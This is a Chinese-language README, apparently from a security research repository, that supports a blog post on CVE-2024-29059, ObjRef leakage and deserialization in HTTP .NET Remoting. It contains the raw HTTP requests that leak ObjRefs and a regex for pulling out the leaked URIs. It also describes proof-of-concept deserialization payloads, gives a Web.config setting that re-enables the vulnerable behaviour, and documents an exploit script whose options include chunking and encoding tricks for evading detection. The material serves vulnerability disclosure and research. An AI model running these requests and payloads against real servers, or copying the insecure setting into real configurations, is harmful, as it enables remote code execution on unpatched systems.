
用于通过 HTTP .NET Remoting 泄露和利用 ObjRefs 的附加资源(CVE-2024-29059)
ObjRef(CVE-2024-29059)本仓库进一步提供了关于 CODE WHITE 同名博文 Leaking ObjRefs to Exploit HTTP .NET Remoting 的详细信息和资源:
ObjRef 泄漏TypeFilterLevel.Low 限制下可工作的示例反序列化载荷以下内容基于 Microsoft 的《为 ASP.NET 网站配置 Application Insights》,描述了如何使用 Visual Studio 2019(需要定位 .NET Framework 4.5.2,你仍可从 https://aka.ms/vs/16/release/vs_community.exe 下载)和 Microsoft Application Insights 创建易受攻击的 ASP.NET Web 应用程序:
如果已安装 2024 年 1 月 .NET Framework 更新,请打开 Web.config 文件并在 /configuration/appSettings 下添加以下内容,以重新启用易受攻击的行为:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
然后你可以通过 调试 > 开始执行(不调试) 或按 Ctrl+F5 运行 Web 应用程序。
ObjRef 泄漏你可以使用以下请求来泄漏存储在 LogicalCallContext 中的 MarshalByRefObject 实例的 ObjRef:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
然后可以使用以下正则表达式匹配泄漏的 ObjRef URI:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
我们基于 YSoSerial.Net 的 TextFormattingRunProperties gadget 创建了两个简单的反序列化载荷,并搭配了自定义 XAML 载荷,这些载荷在 TypeFilterLevel.Low 造成的限制下可工作,以执行以下操作:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"这些 HTTP 头部可在服务器对 HTTP .NET Remoting 请求的响应中观察到。
RemoteApplicationMetadata.py 脚本提供了一种方式:先泄漏现有的 ObjRef,然后在后续请求中使用该 ObjRef 投递给定的载荷:
用法:RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
位置参数:
url 目标 URL(不含 `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter 载荷文件(默认:标准输入)
选项:
-h, --help 显示此帮助信息并退出
-c, --chunked 对请求使用分块传输编码
--chunk-range CHUNK_RANGE
从中随机选择块大小的范围,例如 1-10
-e, --encoding 对 SOAP 应用随机的非 ASCII 编码
-f {binary,soap}, --format {binary,soap}
目标运行时序列化格式(默认:soap)
-u, --use-generic-uri 在载荷投递请求中也使用通用的 `RemoteApplicationMetadata.rem`
-v, --verbose 打印详细信息
示例:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v